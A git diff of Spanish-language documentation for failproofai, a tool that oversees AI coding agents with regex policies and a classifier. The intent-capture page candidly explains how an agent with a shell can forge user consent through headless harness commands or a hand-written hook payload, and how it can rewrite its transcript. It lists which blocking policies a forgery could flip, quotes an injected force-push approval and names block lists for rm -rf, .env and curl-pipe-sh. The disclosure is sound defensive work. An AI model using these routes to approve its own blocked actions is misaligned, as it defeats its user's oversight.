+- Si `credentials.json` tiene **cualquier** permiso para alguien que no seas tú (grupo u otros, lectura o escritura), o si su directorio puede ser **escrito** por alguien que no seas tú, se **rechaza**, no se lee, y Jev queda desactivado hasta que lo soluciones: `chmod 600` sobre el archivo, `chmod 700` sobre el directorio (o vuelve a conectarte, lo que reescribe el archivo con `0600` y deja el directorio solo para el propietario). Un directorio que otros solo puedan leer está bien; uno que puedan escribir les permite reemplazar el archivo.
+- La clave solo cuenta mientras la conexión con la que llegó esté en la máquina: una credencial de política o de reporte para el mismo FailproofAI Cloud **con la misma clave**, en el mismo archivo. Una clave Jev dejada sin una de esas se ignora y Jev permanece desactivado. Esto ocurre cuando el `config --disconnect` de una versión anterior de failproofai deja la clave Jev en su lugar (no sabe que debe eliminarla), o cuando el `config --token` de una versión anterior conecta con otra clave, que en FailproofAI Cloud puede pertenecer a otra organización. Para reactivar Jev, conéctate de nuevo con una clave **machine**.
+- La clave solo se envía al origen de Cloud contra el que fue verificada. Un `jev.json` que apunte a cualquier otro lugar es rechazado.
+- **Un agente en la máquina puede leerla.** `credentials.json` es solo para el propietario, y el agente se ejecuta como ese propietario. Leer los propios archivos de failproofai está permitido deliberadamente (solo modificarlos está bloqueado, por `block-failproofai-commands`), por lo que lo único entre un agente y este archivo es `block-read-outside-cwd` — una política *revisable* — y desde una sesión iniciada en tu directorio personal, nada. Una clave con `jev:evaluate` consume la asignación de Jev de tu organización (hasta el límite diario) desde donde sea que se use, así que trata una clave de máquina como cualquier otra credencial de gasto: si un agente puede haberla leído, desactívala en la página de Claves y reconéctate con una nueva.
+- Solo tus archivos globales determinan esto. Un repositorio no puede activar Cloud Jev, apuntarlo a otro lugar ni proporcionar su clave, y `FAILPROOFAI_JEV_API_KEY` se ignora para esta ruta.
+- Para cada llamada que Jev evalúa, se envía una solicitud a FailproofAI Cloud con lo que la [página de clave propia](/es/reference/jev-providers#what-leaves-the-machine) lista (con los secretos redactados). FailproofAI Cloud lo reenvía a TypeSafe y no lo registra ni lo conserva.
+
+## Desactivarlo
+
+| Comando | Resultado |
+| --- | --- |
+| `failproofai jev setup --mode off` | Mantiene la configuración; no se consulta a Jev. **Este es el interruptor que persiste:** volver a conectarse nunca sobreescribe un `jev.json` existente, por lo que Jev permanece desactivado hasta que lo reactives con `--mode observe`. |
+| `failproofai jev remove` | Elimina `~/.failproofai/jev.json`; Jev está desactivado — hasta el siguiente `failproofai config --token` con una clave que tenga `jev:evaluate`, que al no encontrar `jev.json` activa Jev de nuevo en modo observe (a menos que se ejecute con `--no-transcripts`). Para mantenerlo desactivado, usa `--mode off`. |
+| `failproofai config --disconnect` | Desconecta la máquina: se elimina la clave, y también `jev.json` cuando nombra a FailproofAI Cloud y no está desactivado. Un `jev.json` para tu propio endpoint se conserva, al igual que uno que esté desactivado, por lo que Jev permanece desactivado cuando vuelvas a conectarte. |
+
+Desde la siguiente llamada a herramienta, los hooks ejecutan las políticas regex exactamente como antes.
\ No newline at end of file
diff --git a/docs/es/reference/jev-evaluations.mdx b/docs/es/reference/jev-evaluations.mdx
new file mode 100644
index 000000000..4bc9300b7
--- /dev/null
+++ b/docs/es/reference/jev-evaluations.mdx
@@ -0,0 +1,88 @@
+---
+title: "Referencia de evaluación Jev"
+description: "Tipos de preguntas, puntuaciones calibradas, límites y relleno retroactivo para evaluaciones de sesión Jev."
+icon: "list-checks"
+---
+
+Esta página describe las formas de preguntas y las reglas de puntuación que hay detrás de las [evaluaciones Jev](/es/evaluations/jev). Algunas preguntas necesitan que un modelo *lea* la conversación, pero no que *escriba* sobre ella. "¿El cliente expresó urgencia?" tiene dos respuestas. "¿Qué tan frustrado estaba?" tiene unas pocas, en orden. Conoces todas las respuestas antes de preguntar.
+
+Una **evaluación clasificadora** es exactamente para eso. Tú escribes la pregunta y las respuestas posibles, y un modelo pequeño diseñado para clasificación devuelve un número calibrado — nunca texto libre.
+
+
+Al igual que un juez, una evaluación clasificadora tiene un costo de llamada al modelo por sesión. A diferencia de un juez, es un modelo pequeño y de propósito único en lugar de uno general, por lo que es más rápido y económico — pero nunca se explicará a sí mismo. Si necesitas el razonamiento, usa un [juez](/es/evaluations/judge).
+
+
+## ¿Cuál quiero usar?
+
+| Pregunta | Usar |
+| --- | --- |
+| ¿Cuántas llamadas a herramientas hubo? | código |
+| ¿La sesión duró menos de 30 segundos? | código |
+| ¿El cliente expresó urgencia? | **clasificador** |
+| ¿Qué equipo debería encargarse de esto: facturación, técnico o ventas? | **clasificador** |
+| ¿Qué tan frustrado estaba el cliente? | **clasificador** |
+| ¿La respuesta fue realmente correcta? | **juez** |
+| ¿Siguió nuestra política de escalamiento y por qué lo crees así? | **juez** |
+
+La regla general: **contable → código, respuestas que puedes listar → clasificador, requiere una explicación → juez.**
+
+No tienes que decidir de antemano. Describe lo que quieres medir y el asistente elige, te dice cuál seleccionó y por qué, y puedes cambiarlo.
+
+## Los dos tipos de preguntas
+
+### `noul` — ¿es esto verdad?
+
+Dos respuestas, y describes ambas. El resultado es la probabilidad de que la descripción "verdadera" aplique:
+
+```json
+{
+ "instructions": "Did the assistant promise a refund without first checking the refund policy?",
+ "criteria": {
+ "true": "A refund was promised or issued with no prior policy check or approval",
+ "false": "No refund was promised, or every refund followed a policy check"
+ }
+}
+```
+
+Describe ambos lados. "No se expresó urgencia" es una respuesta real y decirlo hace que la otra sea más precisa.
+
+### `score` — ¿cuánto de esto?
+
+Una rúbrica ordenada, **del peor al mejor**. El resultado es dónde cae la sesión en ella, reescalada a 0–1:
+
+```json
+{
+ "instructions": "How frustrated is the customer?",
+ "criteria": ["Calm", "Frustrated", "Very angry"]
+}
+```
+
+**Una rúbrica tiene de tres a cinco niveles, y todos deben ser distintos.** Ambos límites son técnicos, no estilísticos:
+
+- **Dos niveles** colapsa en lo que `noul` ya hace mejor, y **más de cinco** hace que el modelo se incline hacia el centro en lugar de comprometerse con una respuesta. La misma pregunta sobre la misma sesión puntuó 0.00 con dos niveles, 0.01 con tres y 0.55 con diez.
+- **Niveles repetidos** dividen la respuesta arbitrariamente entre ellos. Una sesión que claramente estaba enojada puntuó 1.00 con `["Calm", "Frustrated", "Very angry"]` y 0.66 con `["Angry", "Angry", "Angry"]` — un número bien formado que no significa nada.
+
+Las categorías sin orden — "facturación, técnico o ventas" — no son una rúbrica. Hazlas como una pregunta `noul` por categoría, o usa un juez.
+
+## Lectura de los resultados
+
+Un clasificador produce una **puntuación** de 0 a 1, exactamente como un juez, por lo que genera gráficos, aplica filtros y activa alertas de la misma manera. Hay dos diferencias que vale la pena conocer:
+
+- **No hay razonamiento.** El campo está vacío, deliberadamente. Este modelo no se explica a sí mismo, e inventar una explicación sería una fabricación, no una característica.
+- **La incertidumbre está etiquetada.** Una pregunta `score` reporta su propia confianza, y un resultado sobre el que el modelo no estaba seguro se etiqueta como `low_confidence` — así que "cuáles de estos debería revisar un humano" es un filtro, no una suposición. Una pregunta `noul` no reporta confianza, por lo que nunca se etiqueta.
+
+Las sesiones muy largas se leen en fragmentos y se combinan. Cuando una sesión es demasiado larga para leerla completa, el resultado indica cuántos turnos fueron omitidos — nunca verás un juicio hecho sobre una parte de una sesión presentado como si se hubiera hecho sobre toda ella.
+
+## Límites
+
+- **De tres a cinco niveles de rúbrica, todos distintos.** Ver arriba; ambos límites se aplican en el momento de la creación.
+- **Una pregunta por evaluación.** Si preguntas dos cosas, obtienes dos evaluaciones, que es también lo que quieres en un gráfico.
+- **Editar la pregunta publica una nueva versión.** Las puntuaciones antiguas y nuevas no son comparables, por lo que se mantienen separadas en lugar de mezclarse en una sola línea de tendencia.
+- **Un clasificador siempre produce una puntuación**, nunca una métrica ni una afirmación.
+- **Sin razonamiento**, como se indicó antes. Si un número va a hacer que alguien pregunte "¿por qué?", escribe un juez en su lugar.
+
+## Pruebas y relleno retroactivo
+
+A diferencia de un juez, una evaluación clasificadora **sí** puede probarse antes de implementarla — [pruébala](/es/evaluations/test) con sesiones reales de la misma manera que lo harías con una evaluación de código, y revisa las puntuaciones antes de que nada entre en producción.
+
+También puede [rellenarse retroactivamente](/es/evaluations/deploy#score-sessions-you-already-have) sobre sesiones que ya tienes. Tiene un costo de llamada al modelo por sesión, así que acota la ventana deliberadamente en lugar de reproducir todo.
\ No newline at end of file
diff --git a/docs/es/reference/jev-intent.mdx b/docs/es/reference/jev-intent.mdx
new file mode 100644
index 000000000..a6da189b8
--- /dev/null
+++ b/docs/es/reference/jev-intent.mdx
@@ -0,0 +1,112 @@
+---
+title: "Captura de intención en Jev"
+description: "Qué eventos del harness informan al evaluador Jev sobre lo que pidió el usuario, qué campo contiene el texto, qué nunca se registra y el riesgo de confiar en un prompt entregado por el harness."
+icon: "message-square-quote"
+---
+
+Cuando configuras la [revisión de políticas de Jev](/es/policies/jev), el evaluador juzga cada llamada a herramienta supervisada según **lo que el usuario pidió**, no según el texto que el harness colocó frente al agente. Una respuesta como "sí, fuerza el push" puede aprobar una política **revisable** — que es precisamente el propósito del evaluador, ya que una expresión regular que no puede leer la solicitud bloquea un tercio del trabajo real.
+
+Ese texto proviene de un único lugar: **el prompt que el propio harness entrega al hook en su evento de envío de prompt**. Failproof AI registra la parte que el usuario escribió — eliminando el envoltorio del harness, redactando secretos y aplicando un límite máximo — en un archivo `0600` dentro de su propio directorio de estado. Nunca se consulta nada en disco: la transcripción de la sesión es un archivo que el agente puede reescribir con un solo comando, por lo que nunca se le pregunta quién escribió un prompt.
+
+## El riesgo que esto implica, sin rodeos
+
+Un agente que ya puede ejecutar comandos puede hacer que un harness envíe un prompt. `claude -p "…"`, `codex exec`, `copilot -p`, `cursor-agent -p`, `devin -p`, `droid -p`, `goose run -t` y `pi -p` todos disparan el mismo evento de envío de prompt, con el mismo payload, que una persona escribiendo, en una sesión hija que ese agente controla. También puede ejecutar el binario hook propio de Failproof AI y alimentarlo con un payload que él mismo escribió. Nada dentro de Failproof AI puede distinguir uno del otro — ambos son el mismo programa leyendo el mismo stdin.
+
+**Por tanto, un agente con shell puede falsificar su propio consentimiento.** Eso es un intercambio deliberado, adoptado el 2026-09-23, y aquí están ambas partes:
+
+- **Lo que se gana.** La alternativa fue construida y medida: requerir un campo en el que el harness nombre a un humano como autor del prompt, y no registrar nada en caso contrario. Ningún harness en producción envía ese campo, así que esa versión no registraba **nada, en ningún harness** — Jev juzgaba cada llamada sin intención declarada y nunca podía aprobar ni una sola política. Una captura que nunca se activa no es un producto más seguro, simplemente no es un producto.
+- **Lo que no puede hacer.** Un prompt registrado solo puede aprobar una política marcada como **revisable**. Una política **hard** nunca es aprobada por nada que diga Jev, de modo que un prompt falsificado nunca puede convertir un deny hard en un allow — y saltar el hook tampoco le sirve de nada al agente: el harness invoca Failproof AI para la llamada a herramienta de forma independiente.
+- **Lo que sí puede hacer, en el peor caso.** Lo peor que puede hacer es aprobar una de las quince políticas built-in revisables — y **doce de esas quince bloquean**. `protect-env-vars`, `block-env-files`, `block-read-outside-cwd`, `block-rm-rf`, `block-force-push`, `block-secrets-write` y los seis bloques de CLI de infraestructura (`block-kubectl`, `block-terraform`, `block-aws-cli`, `block-gcloud`, `block-az-cli`, `block-helm`) son denies, por lo que un consentimiento falsificado puede convertir un bloqueo real en un allow para imprimir secretos de entorno, leer un archivo `.env`, leer fuera del proyecto, `rm -rf`, un force-push, escribir un archivo de secretos o modificar infraestructura en producción. Solo `warn-git-amend`, `warn-destructive-sql` y `warn-global-package-install` son avisos. Una instalación por defecto activa dos de las doce, `protect-env-vars` y `block-env-files`; las otras diez solo están al alcance de una máquina donde alguien las habilitó explícitamente. Lo que ningún prompt puede alcanzar es todo lo hard — `block-sudo`, `block-curl-pipe-sh`, `block-push-master`, `block-work-on-main`, la protección que impide que un agente deshabilite Failproof AI, y cualquier otro built-in no marcado como revisable. [Autoridad de políticas](/es/policies/authority) lista las quince y por qué se revisa cada una.
+
+Lo que sigue rechazándose es todo aquello que es fácil de verificar y que un agente no puede obtener solo con preguntar: un turno que el propio payload del harness marca como enviado por máquina, un payload que nombra a un sub-agente, un ID de sesión que no es un nombre simple, un evento que no es el de envío de prompt, y texto que no es más que envoltorio del harness — incluyendo las propias palabras de stop-gate de Failproof AI, que varios harnesses devuelven como el siguiente turno de usuario.
+
+## Tabla por harness
+
+"Campo de texto" es el campo del payload de stdin después de la normalización por harness de Failproof AI. "Registrado" indica si el prompt se guarda como la solicitud del usuario.
+
+| Harness | `--cli` | Evento de prompt → canónico | Campo de texto | Registrado | Último mensaje del agente leído desde |
+| --- | --- | --- | --- | --- | --- |
+| Claude Code | `claude` | `UserPromptSubmit` | `prompt` | Sí, salvo que el `source` del payload nombre un turno que nadie envió (`loop_wakeup`, `schedule_wakeup`, `poll_event`, `system`). `user`, `sdk`, un valor desconocido y una build que no envía `source` en absoluto se registran todos | la transcripción de sesión (`transcript_path`) |
+| Codex | `codex` | `user_prompt_submit` → `UserPromptSubmit` | `prompt` | Sí | el rollout JSONL (`agent_message`, `AgentMessage`) |
+| GitHub Copilot CLI | `copilot` | `UserPromptSubmit` | `prompt` | Sí | `events.jsonl` (`assistant.message`) |
+| Cursor | `cursor` | `beforeSubmitPrompt` → `UserPromptSubmit` | `prompt` | Sí, con el envoltorio `` eliminado cuando es todo el prompt | la transcripción del agente JSONL |
+| OpenCode | `opencode` | `message.updated` (rol user) → `UserPromptSubmit` | `prompt` | Sí — pero la versión actual de OpenCode no incluye texto en ese evento, así que en la práctica no se registra nada; una repetición del mismo mensaje se registra una vez | ninguno (las sesiones son SQLite) |
+| Pi | `pi` | `input` → `UserPromptSubmit` | `prompt` | Sí, salvo que `input_source` sea `extension` — el `sendUserMessage()` de otra extensión, cuyo texto puede haber sido escrito por el modelo o derivado del repositorio | la sesión Pi JSONL |
+| Hermes | `hermes` | ninguno | — | No — Hermes no tiene evento de envío de prompt | — |
+| OpenClaw | `openclaw` | `before_agent_run` → `UserPromptSubmit` | `prompt` | Sí, salvo que los metadatos de ejecución marquen la run como de máquina: un `trigger` distinto de `user`, un `inputProvenance.kind` distinto de `external_user`, o `senderIsOwner: false` | ninguno (`before_agent_run` no incluye ruta de transcripción) |
+| Factory Droid | `factory` | `UserPromptSubmit` | `prompt` | Sí | la sesión droid JSONL |
+| Devin CLI | `devin` | `UserPromptSubmit` | `prompt` | Sí | ninguno (las sesiones son SQLite) |
+| Antigravity CLI | `antigravity` | `PreInvocation` → `UserPromptSubmit` | ninguno | No — `PreInvocation` se dispara antes de *cada* llamada al modelo en un turno y no incluye texto del prompt | — |
+| Goose | `goose` | `UserPromptSubmit` | `message` | Sí | ninguno (las sesiones son SQLite) |
+
+Dos harnesses no registran nada, y por la misma razón en ambos casos: su evento no entrega texto humano. Hermes no tiene evento de envío de prompt — su plugin nativo gestiona `pre_llm_call` directamente y solo reenvía eventos de herramienta, sesión y sub-agente. El `PreInvocation` de Antigravity se dispara antes de cada llamada al modelo, tanto en un turno humano como en los cinco que le siguen, y no incluye ningún campo de prompt; los hooks también pueden inyectar pasos `userMessage` en la misma conversación. No hay nada en ninguno de los dos eventos que registrar.
+
+## Qué hace que un prompt sea del usuario
+
+1. **El evento.** Failproof AI fue invocado para el evento de envío de prompt del harness, que el manejador canonicaliza a `UserPromptSubmit`.
+2. **El payload.** El harness lo escribe en el stdin del hook y contiene el texto en el campo indicado arriba. Una llamada que llega a Failproof AI sin el payload no registra nada.
+3. **Nada en el payload descarta el turno.** Un payload que nombra a un sub-agente (`agent_id`) es el agente solicitándose a sí mismo. Un `source`, `input_source` o marcador de run de OpenClaw que nombre un turno enviado por máquina es rechazado. Un marcador **ausente** no descarta nada — esa es la diferencia respecto a la versión que no registraba nada, ya que todos los marcadores aquí están ausentes en todas las builds en producción.
+4. **Queda algo después de eliminar el envoltorio** (ver más abajo).
+
+**La transcripción de sesión no es evidencia de quién escribió un prompt.** Versiones anteriores de esta página describían una verificación cruzada con la transcripción: el prompt se rechazaba si la transcripción mostraba que el modelo lo había programado, y la transcripción debía continuar la que el prompt anterior había visto. Esa verificación ha desaparecido. Una transcripción es un archivo sobre el que el agente ya tiene control de shell — puede truncarse, reemplazarse, rellenarse más allá del presupuesto de lectura, guardarse como snapshot al inicio de un turno y restaurarse al final, o hacerse que vuelva a leerse bien con entradas que el agente escribió. Cada ronda de endurecimiento fue seguida por otra variante de la misma falsificación, así que el mecanismo completo fue eliminado en lugar de reparado.
+
+La transcripción aún se lee para una cosa: **el último mensaje visible del agente**. Ese mensaje es escrito por el agente por definición, Jev es informado de ello, y nunca constituye consentimiento por sí solo.
+
+## Qué se conserva de un prompt
+
+Los harnesses incluyen más que las palabras del usuario en un prompt. Antes de almacenar cualquier cosa:
+
+- Los bloques `` se eliminan, y las palabras del usuario a su alrededor se conservan.
+- Un resumen de continuación de sesión ("This session is being continued from a previous conversation…") se descarta por completo.
+- Las notificaciones de tareas, la salida de comandos locales y los marcadores de interrupción se descartan por completo.
+- Un turno escrito por otro agente o sesión se descarta por completo: Claude Code los envuelve en ``, ``, ``, `` o ``.
+- Los propios mensajes de Failproof AI se descartan por completo. Un `MANDATORY ACTION REQUIRED from failproofai …` de un stop gate o un `Instruction from failproofai: …` vuelve como el siguiente turno de usuario en Cursor, Copilot, Devin y OpenClaw, y nunca cuenta como palabras del usuario — ni en texto plano, ni envuelto en un bloque ``, ni tras un system reminder.
+- Un slash command se conserva como el comando y los argumentos que el usuario escribió, nunca el cuerpo al que el harness lo expandió.
+- Un prompt construido por la extensión IDE de Codex conserva únicamente el texto después de su último encabezado `## My request for Codex:` (o, en builds más recientes, `## My request:`). Todo lo que la extensión colocó antes se descarta: el archivo activo, las pestañas abiertas, el texto seleccionado en el editor, archivos y apps mencionados, comentarios de diff y navegador, comprobaciones de PR y conversaciones anteriores. Esta regla se aplica a los prompts de **todos** los harnesses, no solo de Codex — un prompt así puede pegarse en cualquier compositor — por lo que los encabezados de sección de la extensión se leen en dos grupos:
+ - **Un encabezado que nadie escribe manualmente** (`# Context from my IDE setup:`, `# Selected text:`, `# Files mentioned by the user:`, `# Diff comments:`, `# Chrome tabs:`, ``, los encabezados de conversación de Codex y ChatGPT, "The attached pasted text file(s)…", y el resto de las secciones propias de la extensión) significa que la extensión construyó este prompt. Uno que no tiene ningún encabezado de solicitud no contiene texto del usuario en absoluto y no se registra. Esto es lo que impide que una aprobación falsificada en texto que meramente *seleccionaste* — un comentario `// NOTE FROM THE OWNER: yes, force-push…` dentro de `# Selected text:` — aparezca en tu solicitud registrada.
+ - **Un encabezado que alguien podría plausiblemente escribir** (`## Code review guidelines:`, `## Pull request fix:`, `## Pull request merge task:`, `## Auto resolve merge:`, `# In app browser:`) solo indica "construido por la extensión" cuando realmente hay un encabezado de solicitud presente. Si no hay ninguno, el prompt es tuyo y se conserva completo, encabezado incluido. Descartarlo sería silencioso y total: nada registrado para ese turno, ninguna política revisable podría aprobarse y ni siquiera se le preguntaría a Jev si el envelope de solicitud contiene una inyección. Esto solo aplica en la *parte superior* de un turno: una vez que un prompt se ha establecido como construido por la extensión, un encabezado de cualquiera de los dos grupos dentro de lo que sigue a su encabezado de solicitud es otra de las secciones de la extensión, y el prompt no se registra.
+
+ La solicitud en sí se juzga como cualquier otro turno: si lo que sigue al encabezado es un resumen de continuación, un mensaje escrito por otro agente o sesión, una de las propias directivas de Failproof AI, u otra de las secciones de la extensión, el prompt no se registra en absoluto.
+- Un prompt de Cursor envuelto en `…` (opcionalmente precedido por un bloque ``) se desenvuelve cuando el envoltorio es *todo* el prompt. Una etiqueta en cualquier otro lugar es texto ordinario — un fragmento pegado de un log, o un nombre de rama que el agente eligió — y el prompt se conserva completo en lugar de recortarse al span etiquetado.
+- Los bloques pegados se conservan y se etiquetan como pegados por el usuario.
+
+Un prompt que no es más que texto del harness no se registra en absoluto.
+
+## El último mensaje del agente
+
+Una respuesta como "sí" no significa nada sin la pregunta que responde. Cuando se registra un prompt, Failproof AI también lee el último mensaje visible del agente desde la transcripción de sesión **en ese momento**, y lo almacena junto con el prompt. Jev lo recibe en su propio campo, etiquetado como escrito por el agente: explica una respuesta breve y nunca cuenta como la solicitud del usuario por sí solo. Es lo único para lo que se lee la transcripción, y lo peor que puede hacer una transcripción reescrita es colocar un mensaje escrito por el agente donde se esperaba un mensaje escrito por el agente.
+
+Se lee desde el final de la transcripción, como máximo los últimos 4 MB. Los formatos de transcripción compatibles son Claude Code, rollouts de Codex (eventos `agent_message` más antiguos e ítems `AgentMessage` más recientes), Cursor, `events.jsonl` de Copilot, y las sesiones JSONL de Pi, Factory y OpenClaw. Los mensajes sintéticos propios de Claude Code, los mensajes de error de API y los mensajes de sub-agente (sidechain) se omiten. No hay snapshot para Goose ni OpenCode, que guardan las sesiones en SQLite, para Devin, cuya transcripción es un único documento JSON, ni para OpenClaw, cuyo evento `before_agent_run` no incluye ruta de transcripción.
+
+## Almacenamiento
+
+| Propiedad | Valor |
+| --- | --- |
+| Ubicación | `~/.failproofai/state/semantic/sessions/.json` |
+| Permisos | archivo `0600`, directorio `0700`. Cada directorio por encima de él, hasta `~/.failproofai`, se rige por la misma regla que el directorio de `jev.json`: uno que cualquier otro usuario pueda **escribir** puede renombrarse y reemplazarse, por lo que la ruta de lectura elimina esos bits de escritura donde puede, y no lee **nada** donde no puede. Un prompt registrado queda entonces ausente en lugar de falsificado, y nada se aprueba |
+| Guardado por sesión | los últimos 5 prompts; un prompt idéntico al anterior lo reemplaza en lugar de ocupar un nuevo slot |
+| Ventana temporal | los prompts con más de 6 horas de antigüedad se ignoran |
+| Tamaño | cada prompt y mensaje del agente tiene un límite máximo de 6.000 caracteres, conservando el inicio y el final |
+| Secretos | redactados con los mismos patrones que las políticas `sanitize-*` antes de escribir nada. Un texto de más de 48.000 caracteres se redacta como sus primeros 28.800 y últimos 19.200 caracteres, y el texto junto a esos cortes, donde un secreto podría haberse dividido, nunca se almacena |
+
+Un ID de sesión que contenga algo distinto de letras, dígitos, `.`, `_` y `-`, o de más de 128 caracteres, nunca se usa como nombre de archivo, por lo que no se registra nada para él.
+
+Un archivo de sesión solo existe una vez que se ha registrado un prompt en él. Contiene únicamente prompts y nada más — sin estado de origen, sin marca de transcripción — y se elimina una vez que ha permanecido en silencio durante más tiempo que la ventana de seis horas, la próxima vez que una nueva sesión escribe su primer prompt.
+
+No se registra nada a menos que haya un endpoint de Jev configurado.
+
+### La raíz del proyecto
+
+"Dentro del proyecto" — lo que juzgan `read-outside-workspace` y las demás comprobaciones de rutas — significa dentro del proyecto en el que se encontraba la sesión en su **primera llamada revisada**. La raíz se fija en ese momento y un `cd` posterior nunca la mueve; un `cd` sigue cambiando cómo se resuelve una ruta relativa. Permitir que siguiera al `cd` haría que un `cd ~/.ssh` en una llamada convirtiera `~/.ssh` en el proyecto para la siguiente.
+
+El pin es `~/.failproofai/state/semantic/roots/.json`, que contiene `{root, at}`: archivo `0600`, directorio `0700`, y la misma regla de ID de sesión descrita arriba. Los archivos con más de 7 días de antigüedad se eliminan cuando una nueva sesión fija su raíz. Un directorio `roots` sobre el que otros usuarios puedan escribir se ignora, y en su lugar se usa la raíz del directorio activo. Para volver a fijar una sesión, elimina su archivo.
+
+## Limitaciones conocidas
+
+- **Un prompt es tan confiable como la invocación del hook.** Todo lo aquí descrito lee el payload que el harness escribió en el stdin del hook. Un agente que puede ejecutar comandos puede ejecutar el harness en modo headless (`claude -p` y los siete restantes listados arriba) o ejecutar el propio binario hook de Failproof AI con un payload que él mismo escribió, y registrar un prompt que nadie escribió. Este es el intercambio aceptado descrito al inicio de esta página: solo aprueba políticas revisables, nunca una hard — pero doce de las quince built-ins revisables son denies, por lo que un prompt falsificado puede convertir un bloqueo real en un allow en esas doce.
+- **La detección de sub-agentes está modelada sobre Claude.** Un payload que incluye `agent_id` nunca se registra, en ningún harness. Ese es el campo que usarían Claude Code, Factory Droid y Devin. Codex dispara su evento de prompt dentro de hilos de sub-agente, Copilot ejecuta sidekicks en proceso, Goose tiene una herramienta `delegate` y OpenClaw ejecuta personas — ninguno de los cuales marca el payload de forma que esto reconozca, así que un prompt de sub-agente en esos harnesses se registra como el propio de la sesión. El `openclaw.agentId` de OpenClaw **no** es esa marca: el plugin incluido lo establece en cada ejecución, incluida la del propietario.
+- **Schedulers que no incluyen ningún marcador.** Los `schedule_wakeup` y `loop_wakeup` de Claude Code, y los disparadores `cron` y `heartbeat` de OpenClaw, se rechazan porque esos harnesses lo indican en el payload. El propio scheduler de Goose (`goose schedule add`) y el `codex exec` de Codex no indican nada, así que una ejecución que inicien se registra como cualquier otra.
+- **El último mensaje de un agente puede ser un mensaje que el agente eligió.** La transcripción no está autenticada, por lo que un agente que escribe su propia transcripción puede decidir qué dice su "último mensaje". Está etiquetado como escrito por el agente y nunca aprueba nada por sí solo — pero ten en cuenta que la ruta v1 de `decide.ts` le permite satisfacer la comprobación determinista de "¿el usuario nombró este objetivo?", así que un agente que controla su transcripción puede proporcionar el nombre de un objetivo que un override necesita.
+- **Un prompt que comienza con uno de los encabezados de máquina de la extensión se descarta por completo.** Comienza un prompt con `# Selected text:`, `# Diff comments:`, `# Chrome tabs:` u otro encabezado de sección del primer grupo anterior, y nunca escribas un encabezado `## My request:`, y no se registra nada para ese turno — por lo que tampoco se aprueba nada para él. Eso es deliberado: esas secciones contienen texto que alguien más controla (código que seleccionaste, el comentario de diff de un revisor, el título de una página), y registrar eso como tus palabras sería el fallo más grave. Los encabezados que un desarrollador plausiblemente escribe están en el segundo grupo y nunca descartan un prompt por sí solos.
+- **OpenCode no registra nada en la práctica.** Su evento `message.updated` no incluye texto en la versión actual de OpenCode, y además se dispara para las sesiones hijas que crea su herramienta de tareas, cuyo mensaje "user" fue escrito por el agente padre.
+- **`CODEX_HOME` no se respeta** en el descubrimiento de rollouts de `lib/codex-sessions.ts`. Esto solo afecta a dónde se busca el snapshot del mensaje del agente, nunca a si se registra un prompt.
\ No newline at end of file
diff --git a/docs/es/reference/jev-providers.mdx b/docs/es/reference/jev-providers.mdx
new file mode 100644
index 000000000..f39f83eb2
--- /dev/null
+++ b/docs/es/reference/jev-providers.mdx
@@ -0,0 +1,275 @@
+---
+title: "Proveedores de Jev y configuración con clave propia"
+description: "Endpoints de proveedores, IDs de modelos, configuración y comportamiento ante fallos para la revisión en vivo de políticas Jev con tu propia clave."
+icon: "key-round"
+---
+
+Esta es la referencia de proveedores y configuración para las [políticas Jev](/es/policies/jev) con tu propia clave. Las políticas de expresiones regulares comparan cadenas de texto. No pueden distinguir `rm -rf build/` que tú pediste de `rm -rf ~` que se coló en un plan, por lo que bloquean demasiado en un lugar y demasiado poco en otro. **Jev**, el clasificador de TypeSafe, lee la llamada en relación con lo que realmente pediste y responde a un conjunto de preguntas de sí/no sobre ella en una sola solicitud rápida.
+
+Con tu propio endpoint y clave de Jev configurados, Failproof AI consulta a Jev sobre cada llamada de herramienta **junto con** las políticas de expresiones regulares, nunca en lugar de ellas:
+
+- El deny de una política **hard** es definitivo. Jev no puede anularlo. Toda política es hard salvo que esté marcada explícitamente como revisable y nombre los controles de Jev que la cubren; así, una política personalizada, de paquete o de Cloud que no indique nada es hard, y la protección propia que siempre está activa es siempre hard.
+- El deny de una política **reviewable** puede anularse, pero solo cuando Jev fue consultado sobre la preocupación exacta que cubre esa política y respondió "nada aquí" o "el usuario lo pidió". Un control que detecta la preocupación como real, cuando el usuario no pidió la llamada, mantiene el deny, incluso si su propio veredicto es solo una advertencia, porque antes de una llamada de herramienta una advertencia no detiene al agente. Y cuando ese control es uno que puede denegar (exposición de secretos, exfiltración de credenciales, eliminación destructiva, …), nada se anula en esa llamada.
+- Un bloqueo aún puede convertirse en una **advertencia** cuando la llamada es un paso de la tarea que asignaste y no va más allá: Jev suaviza su propio deny a una advertencia, y esa advertencia —que indica qué tiene de malo la llamada— reemplaza el bloqueo de la política.
+- Jev también puede advertir o denegar por su cuenta, ante daños que ninguna expresión regular describe.
+- Si Jev no puede responder (tiempo de espera agotado, límite de velocidad, error del servidor, sin créditos, una versión de modelo inesperada), esa llamada recibe el resultado de expresiones regulares, exactamente como sin Jev.
+- Jev nunca hace una llamada más permisiva que tus políticas solas, a menos que haya leído la llamada completa y se le haya consultado sobre la preocupación exacta. Cualquier cosa menor —una llamada demasiado grande para enviar entera, una inyección sospechada— retira las autorizaciones y mantiene todos los denys.
+
+
+Sin una configuración de Jev nada cambia: los hooks ejecutan las políticas de expresiones regulares exactamente como siempre. La configuración es el único mecanismo de activación.
+
+
+
+¿Usas FailproofAI Cloud? No necesitas una clave propia: una máquina conectada con una clave que tenga `jev:evaluate` puede usar Jev con el plan de tu organización. Consulta [Jev a través de FailproofAI Cloud](/es/reference/jev-cloud).
+
+
+## Antes de empezar
+
+Instala **failproofai 1.0.8-beta.0 o posterior** y adjunta sus hooks a un [harness compatible](/es/reference/harnesses) en la máquina donde se ejecuta tu agente. Sigue la [guía de inicio rápido](/es/start/quickstart) si es una máquina nueva, o [configura la aplicación local](/es/start/setup#enforce-locally) si no usas Cloud. Verifica la CLI instalada con `failproofai --version`.
+
+Obtén una clave API de alguno de los proveedores a continuación, o ten listo un endpoint compatible y su clave. Jev revisa las llamadas de herramientas nombradas en la puerta `PreToolUse` o `PermissionRequest`. Puede emitir su propio veredicto, pero para anular un deny de política existente también se requiere una política instalada marcada como [reviewable](/es/policies/authority). Los denys de políticas hard siguen siendo definitivos.
+
+## Elige un proveedor
+
+Jev es accesible a través de cinco rutas. Trae una clave para cualquiera de ellas.
+
+| Proveedor | `--provider` | Endpoint | Modelo por defecto | Notas |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | Versión fijada exactamente. |
